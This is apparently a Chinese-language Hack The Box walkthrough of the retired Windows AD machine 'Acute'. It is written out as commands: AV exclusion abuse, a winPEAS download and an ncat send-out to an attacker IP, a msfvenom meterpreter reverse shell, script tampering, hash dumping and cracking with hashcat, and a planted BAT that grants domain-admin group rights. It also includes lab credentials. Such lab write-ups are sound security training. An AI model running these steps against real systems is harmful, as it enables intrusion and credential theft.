概述 (Overview)
HOST: 10.10.11.146
OS: WINDOWS
发布时间: 2022-02-12
完成时间: 2022-07-01
机器作者: dmw0ng
困难程度: Hard
机器状态: 退休
MACHINE TAGS: #ActiveDirectory #PowerShell #WindowsDefenderAV
攻击链 (Kiillchain)
HTB 关于 Acute :
Acute 是一台 Hard 难度的 Windows 机器,从端口 443
上的网站开始。该网站的证书显示了一个域名 atsserver.active.local
。环顾网站,有几名员工被提及,有了这些信息,就可以在远程机器上构建一个可能的用户列表。列举一下网站,就会发现一份表格,里面有关于公司新员工的程序。该表单显示所有帐户最初设置时使用的默认密码。它还显示了 Windows PowerShell Web访问
(PSWA)会话的链接。结合枚举过程中的所有可用信息,攻击者可以作为 Acute-PC01
上的用户 edavies
进入PowerShell会话。然后,发现用户 edavies
也使用交互式会话登录。在监视 edavie
的行为时,可以检索 ATSERVER
的 imonks
用户的明文密码。用户 imonks
在 ATSSERVER
上的 Just Enough Administration
(JEA)下运行,但即使使用有限的命令集,攻击者也可以修改 ATSSERVER
上的脚本,以使 edavies
成为 Acute-PC01
上的本地管理员。既然 edavies
是本地管理员,就可以从系统中检索 HKLM\sam
和 HKLM\system
,以便提取所有用户的密码哈希。管理员';s的散列被证明是可破解的,明文密码被重新用于 ATSSERVER
上的 awallace
。用户 awallace
能够在用户 Lois
将执行的目录上创建 BAT
脚本Lois有权将
imonks添加到
site_admin组,而该组又有权访问
Domain Admins组。因此,在将
imonks添加到
site_admin组后,他可以将自己添加到
Domain Admins` 组并获得管理权限。
枚举(Enumeration)
开始依然是使用 Nmap 对目标服务器开放端口进行扫描。
PORT STATE SERVICE VERSION
443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=atsserver.acute.local
| Subject Alternative Name: DNS:atsserver.acute.local, DNS:atsserver
| Issuer: commonName=acute-ATSSERVER-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-01-06T06:34:58
| Not valid after: 2030-01-04T06:34:58
| MD5: cf3a d387 8ede 75cf 89c1 8806 0b6b c823
|_SHA-1: f954 d677 0cf3 54df 3fa2 ed4f 78c3 1902 c120 a368
| tls-alpn:
|_ http/1.1
|_ssl-date: 2022-07-01T03:56:43+00:00; 0s from scanner time.
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
服务器只对外暴漏了一个 443 端口,在 ssl 证书中能够获悉该Web服务对应的域名。
Port 443 - WPWA
将域名 atsserver.acute.local
加入到 hosts 文件后进行访问,Web服务访问正常。
随后在浏览页面也没功能时,发现一个可下载的 Word 文档。
https://atsserver.acute.local/New_Starter_CheckList_v7.docx
从里面的内容中大致判断是和远程培训有关,点击里面的链接能够跳转到一个 WPWA 的登录界面。
Windows PowerShell Web 访问使用户可登录到安全的网站,以使用 Windows PowerShell 会话、cmdlet 和脚本管理远程计算机。
立足点(Foothold)
知道它是干什么的之后,就需要寻找可访问 WPWA 的账号凭证了。在 Word 文档中可以得到一个初始化的默认密码:Password1!
密码有了开始找用户名,使用 exiftool 工具可以看到文档创建者为:FCastle
,其中备注信息中含有机器名:Acute-PC01
。当然,在 Word 文档属性中也能得到这些信息。
将这些信息进行汇总后,尝试登录但失败了。
这个地方卡了我挺久的。最后在 Web 页面中发现存在一些人名,尝试将这些姓名转换成账号进行登录。
账号列表:
$ cat users.txt
lois
muse
myJob
dc_manage
fcastle
Acute-PC01
awallace
chall
edavies
imonks
jmorgan
lhopkins
最终在尝试使用 edavies
账号进行登录时成功了,进行了 WPAW 交互控制台。
edavies:Password1!:Acute-PC01
横向移动(Lateral Movement)
简单查看下目录发现没有 user flag 信息,说明需要进行账号横向移动。首先检查下服务器中的登录用户:
PS C:\Users\edavies> net users
Administrator DefaultAccount Guest
Natasha WDAGUtilityAccount
PS C:\Users> dir
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ---- d----- 12/21/2021 1:01 PM administrator.ACUTE
d----- 12/22/2021 1:26 AM edavies
d----- 12/21/2021 10:50 PM jmorgan
d----- 11/19/2021 9:29 AM Natasha
d-r--- 11/18/2020 11:43 PM Public
在查看网卡信息时发现 IP 地址是一个 172 开头的地址,而非服务器 10 开头的地址。说明当前可能在虚拟容器。
搜索引擎查询网卡描述信息时,发现 Hyper-V 是 Microsoft 的硬件虚拟化产品。使用 Test-NetConnection
命令对网关IP进行验证,发现该命令是可以使用的。
尝试将 nishang 中端口扫描脚本传递至目标服务器,失败了。从错误提示中可以看到被 Windows Defender AV
阻断了,这里我没需要进行 bypass。
在尝试 AMSI Bypass 之前,通过 google 搜索了解到在 Windows 11 以下版本中,任意用户都可以通过查询注册表信息找到 AV 配置的白名单目录。
https://twitter.com/splinter_code/status/1481073265380581381
Windows Defender AV 允许每个人读取系统上配置的排除项.
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s
从结果中可以看到 C:\Utils
文件夹存在白名单中,接下来就简单了,将端口扫描脚本、peas等脚本直接传到该文件下运行即可。
PS C:\Utils> Invoke-WebRequest "http://10.10.14.12/winPEASx64.exe" -OutFile "winPEASx64.exe"
PS C:\Utils> ./winPEASx64.exe > winPEASx64.txt
PS C:\Utils> cmd /c '.\ncat.exe -nv 10.10.14.12 9091 < .\winPEASx64.txt'
对 NC 接收到扫描报告进行分析,发现 edge 浏览器是处于运行状态。
随后尝试上线 MSF 控制,并进行桌面截图看看它在做什么。
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o reverse.exe
# msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost <ip>; set lport <port>; exploit"
将生成的 reverse.exe
可执行文件传达至 C:\Utils
文件夹内,运行上线后执行 screenshare
命令获取截图(screenshare
功能可以定期截取目标桌面的屏幕截图,并允许攻击者在线预览)。
meterpreter > screenshare [*] Preparing player... [*] Opening player at: /home/x/hackthebox/Acute/file/FVOyjijg.html [*] Streaming...
可以看到用户正在进行 PowerShell 凭证登录,但出现了大量的报错。将里面的信息进行提取:
$passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("acute\imonks",$passwd)
Enter-PSSession -computername ATSSERVER -ConfigurationName dc_manage -credential $creds
可以看到,在执行最后一段内容时出现错误:访问被拒绝。这意味用户账号无权限创建从当前主机到目标主机的远程 PowerShell 会话,怀疑是配置权限问题。
但我们可以借助 invoke-command 命令来在本地或远程计算机上运行命令。
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds {pwd}
权限提升(Privilege Escalation)
可以看到在 imonks 用户下除了 user.txt 文件,还存在一个 wm.ps1 脚本。
PS C:\Utils> Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds -command {cat "..\Desktop\wm.ps1"}
$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds
PS C:\Utils>
这个脚本使用的身份凭证是 jmorgan 用户,而上面的两个用户都属于域用户:
这里的 jmorgan 用户上线也很简单,直接将 Get-Volume
内容替换成 cmd 执行就可以了。
PS C:\Users\edavies\Documents> Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds {(Get-Content "c:\users\imonks\Desktop\wm.ps1" -Raw) -Replace 'Get-Volume', 'cmd.exe /c c:\utils\reverse.exe' | Set-Content "c:\users\imonks\Desktop\wm.ps1"}
再次通过 Invoke-Command 进行命令执行,成功上线拿到 jmorgan 用户。
eterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
...snip...
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a29f7623fd11550def0192de9246f46b:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Natasha:1001:aad3b435b51404eeaad3b435b51404ee:29ab86c5c4d2aab957763e5c1720486d:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:24571eab88ac0e2dcef127b8e9ad4740:::
meterpreter > execute -f cmd.exe -i -H
Process 4908 created.
Channel 3 created.
Microsoft Windows [Version 10.0.19044.1466]
(c) Microsoft Corporation. All rights reserved.
C:\Users\jmorgan\Documents>
在检查用户权限时发现它具备 SeDebugPrivilege
权限,那么可以很轻松的利用这一特性将机器上的 NTLM HASH 进行 dump。接下里来就是对 Administrator 账号的 HASH 离线破解了。
$ hashcat -a 0 -m 1000 ./hashdump.txt /usr/share/wordlists/rockyou.txt -o cracked.txt -O
a29f7623fd11550def0192de9246f46b:Password@123
明文密码是得到了,但在操作 Administrator 用户执行命令是出现错误,说明域 Administrator 使用的不是这个密码。尝试碰撞下其他的账号,发现 awallace 账号使用了该密码。
$passwd = ConvertTo-SecureString "Password@123" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("acute\awallace",$passwd)
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds {pwd}
查看下用户所属组,含 Domain Users
、Managers
两个组。
在查看所有组信息时,发现一个 Site_admin
组,描述信息中注明可以访问操作域管理员组。
但直接进行添加是无法生效的,需要寻找其他路径。在 C:\Program Files\keepmeon\
文件夹中找到突破口,该脚本 Lois
用户会每五分钟执行一次。
而通过之前的 Word 文档中对 Lois
用户的描述,他是唯一有权更改域组成员资格的人员。
所以这里的权限提升路径已经很清晰了,在 Keepmeon
文件夹内新建一个 bat 脚本,将任意用户添加至 Site_Admin
组即可。
PS C:\Users\edavies\Documents> Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds -ScriptBlock {Set-Content -Path 'c:\program files\Keepmeon\0x584a1.bat' -Value 'net group "Site_Admin" awallace /add /domain'}
PS C:\Users\edavies\Documents> Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds {ls 'c:\program files\Keepmeon\'}
最终使用 awallace 账号成功已域管理员身份读取到 Administrator 目录的 root flag。